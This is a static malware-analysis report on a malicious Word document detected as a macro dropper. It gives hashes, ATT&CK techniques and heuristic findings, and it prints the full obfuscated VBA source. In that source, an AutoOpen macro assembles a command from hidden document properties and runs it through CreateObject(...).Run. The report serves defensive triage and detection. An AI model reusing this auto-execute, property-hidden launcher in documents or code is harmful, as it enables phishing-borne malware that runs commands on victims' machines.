Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8c4813043fa78b4a…

MALICIOUS

Office (OLE)

58.0 KB Created: 2017-08-02 06:29:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: de30c6ff05f944c0a9487451f69b9abb SHA-1: 1788092a01feab6cf35672942974618b59b34df7 SHA-256: 8c4813043fa78b4aec7ada10556ddbe06eedbc81b115e4ff08371d8ee132d645
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic auto-exec markers and VBA macros, specifically an autoopen macro. High-severity heuristics indicate the use of CreateObject and p-code execution, suggesting the macro is designed to execute a payload. ClamAV detection as 'Doc.Dropper.Agent-6335671-0' further supports its malicious nature as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
CreateObject(MwvMwvMwvMwvMwv + Mid(ActiveDocument.CustomDocumentProperties("puQsPdOveK"), 5)).Run$ uzwpuzwpuzwpuzwpuzwp, 0
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub autoopen()
rMDZrMDZrMDZrMDZrMDZ
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6073 bytes
SHA-256: afd697556f42fd4f373393e031cf5396e2ef151efb1650abd65017ed3df91e65
Detection
ClamAV: No threats found
Obfuscation or payload: likely
45 of 79 identifiers look randomly generated (e.g. 'pLzAHTpLzAHTpLzAHTpLzAHTpLzAHT') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
rMDZrMDZrMDZrMDZrMDZ
End Sub
Function NWGKNWGKNWGKNWGKNWGK(ByVal TfUTfUTfUTfUTfU As String, ByVal PLePLePLePLePLe As Variant) As Boolean
For Each teLxzteLxzteLxzteLxzteLxz In PLePLePLePLePLe
    If teLxzteLxzteLxzteLxzteLxz = TfUTfUTfUTfUTfU Then
        NWGKNWGKNWGKNWGKNWGK = True
        Exit Function
    End If
Next teLxzteLxzteLxzteLxzteLxz
End Function
 Function rAryrAryrAryrAryrAry(ByVal tgVmtgVmtgVmtgVmtgVm As String, ByVal CfFDTCfFDTCfFDTCfFDTCfFDT As Variant) As Boolean
For Each RfFvARfFvARfFvARfFvARfFvA In CfFDTCfFDTCfFDTCfFDTCfFDT
    If RfFvARfFvARfFvARfFvARfFvA = tgVmtgVmtgVmtgVmtgVm Then
        rAryrAryrAryrAryrAry = True
        Exit Function
    End If
Next RfFvARfFvARfFvARfFvARfFvA
End Function
 Function FEzBFEzBFEzBFEzBFEzB(ByVal ecHPmTecHPmTecHPmTecHPmTecHPmT As String, ByVal dnksNMdnksNMdnksNMdnksNMdnksNM As Variant) As Boolean
For Each pGPpGPpGPpGPpGP In dnksNMdnksNMdnksNMdnksNMdnksNM
    If pGPpGPpGPpGPpGP = ecHPmTecHPmTecHPmTecHPmTecHPmT Then
        FEzBFEzBFEzBFEzBFEzB = True
        Exit Function
    End If
Next pGPpGPpGPpGPpGP
End Function
 Function tVYctVYctVYctVYctVYc(ByVal XAUxXAUxXAUxXAUxXAUx As String, ByVal VzyKVzyKVzyKVzyKVzyK As Variant) As Boolean
For Each kSdgzkSdgzkSdgzkSdgzkSdgz In VzyKVzyKVzyKVzyKVzyK
    If kSdgzkSdgzkSdgzkSdgzkSdgz = XAUxXAUxXAUxXAUxXAUx Then
        tVYctVYctVYctVYctVYc = True
        Exit Function
    End If
Next kSdgzkSdgzkSdgzkSdgzkSdgz
End Function
 Function vgkwvgkwvgkwvgkwvgkw(ByVal XEubXEubXEubXEubXEub As String, ByVal TStaHTStaHTStaHTStaHTStaH As Variant) As Boolean
For Each wkYAwkYAwkYAwkYAwkYA In TStaHTStaHTStaHTStaHTStaH
    If wkYAwkYAwkYAwkYAwkYA = XEubXEubXEubXEubXEub Then
        vgkwvgkwvgkwvgkwvgkw = True
        Exit Function
    End If
Next wkYAwkYAwkYAwkYAwkYA
End Function

Public Function rMDZrMDZrMDZrMDZrMDZ()
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
bZtTAbbZtTAbbZtTAbbZtTAbbZtTAb = ActiveDocument.BuiltInDocumentProperties("Comments")
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
XdTtmXdTtmXdTtmXdTtmXdTtm = Mid(ActiveDocument.CustomDocumentProperties("HrGFcLRKDz"), 5) + Mid(ActiveDocument.CustomDocumentProperties("sAaqMOkdPV"), 5)
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
uzwpuzwpuzwpuzwpuzwp = XdTtmXdTtmXdTtmXdTtmXdTtm + Mid(ActiveDocument.CustomDocumentProperties("puQsPdOveK"), 5) + Mid(ActiveDocument.CustomDocumentProperties("VPysutrDcj"), 5) + bZtTAbbZtTAbbZtTAbbZtTAbbZtTAb
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
MwvMwvMwvMwvMwv = Mid(ActiveDocument.CustomDocumentProperties("ymGsbdIXEl"), 5) + Mid(ActiveDocument.CustomDocumentProperties("pQgkedBsbR"), 5)
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
CreateObject(MwvMwvMwvMwvMwv + Mid(ActiveDocument.CustomDocumentProperties("puQsPdOveK"), 5)).Run$ uzwpuzwpuzwpuzwpuzwp, 0
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr = "HSWLGrHSWLGrHSWLGrHSWLGrHSWLGr"
End Function
Function VyhdVyhdVyhdVyhdVyhd(ByVal chSfvchSfvchSfvchSfvchSfv As String, ByVal VSCvLvVSCvLvVSCvLvVSCvLvVSCvLv As Variant) As Boolean
For Each NxBNxBNxBNxBNxB In VSCvLvVSCvLvVSCvLvVSCvLvVSCvLv
    If NxBNxBNxBNxBNxB = chSfvchSfvchSfvchSfvchSfv Then
        VyhdVyhdVyhdVyhdVyhd = True
        Exit Function
    End If
Next NxBNxBNxBNxBNxB
End Function
 Function xVrfbxVrfbxVrfbxVrfbxVrfb(ByVal MUwMUwMUwMUwMUw As String, ByVal KXNVKXNVKXNVKXNVKXNV As Variant) As Boolean
For Each sMtssMtssMtssMtssMts In KXNVKXNVKXNVKXNVKXNV
    If sMtssMtssMtssMtssMts = MUwMUwMUwMUwMUw Then
        xVrfbxVrfbxVrfbxVrfbxVrfb = True
        Exit Function
    End If
Next sMtssMtssMtssMtssMts
End Function
 Function GSYGSYGSYGSYGSY(ByVal YTdPxYTdPxYTdPxYTdPxYTdPx As String, ByVal uKSuKSuKSuKSuKS As Variant) As Boolean
For Each eBcVeBcVeBcVeBcVeBcV In uKSuKSuKSuKSuKS
    If eBcVeBcVeBcVeBcVeBcV = YTdPxYTdPxYTdPxYTdPxYTdPx Then
        GSYGSYGSYGSYGSY = True
        Exit Function
    End If
Next eBcVeBcVeBcVeBcVeBcV
End Function
 Function pLzAHTpLzAHTpLzAHTpLzAHTpLzAHT(ByVal rtLkRCrtLkRCrtLkRCrtLkRCrtLkRC As String, ByVal KdvRdKdvRdKdvRdKdvRdKdvRd As Variant) As Boolean
For Each LTNVLTNVLTNVLTNVLTNV In KdvRdKdvRdKdvRdKdvRdKdvRd
    If LTNVLTNVLTNVLTNVLTNV = rtLkRCrtLkRCrtLkRCrtLkRCrtLkRC Then
        pLzAHTpLzAHTpLzAHTpLzAHTpLzAHT = True
        Exit Function
    End If
Next LTNVLTNVLTNVLTNVLTNV
End Function
 Function LsmCLsmCLsmCLsmCLsmC(ByVal SnBUSnBUSnBUSnBUSnBU As String, ByVal vAhvAhvAhvAhvAh As Variant) As Boolean
For Each nMEknMEknMEknMEknMEk In vAhvAhvAhvAhvAh
    If nMEknMEknMEknMEknMEk = SnBUSnBUSnBUSnBUSnBU Then
        LsmCLsmCLsmCLsmCLsmC = True
        Exit Function
    End If
Next nMEknMEknMEknMEknMEk
End Function
 Function VDbeLYVDbeLYVDbeLYVDbeLYVDbeLY(ByVal xmMUWUxmMUWUxmMUWUxmMUWUxmMUWU As String, ByVal vadvadvadvadvad As Variant) As Boolean
For Each UnEUnEUnEUnEUnE In vadvadvadvadvad
    If UnEUnEUnEUnEUnE = xmMUWUxmMUWUxmMUWUxmMUWUxmMUWU Then
        VDbeLYVDbeLYVDbeLYVDbeLYVDbeLY = True
        Exit Function
    End If
Next UnEUnEUnEUnEUnE
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.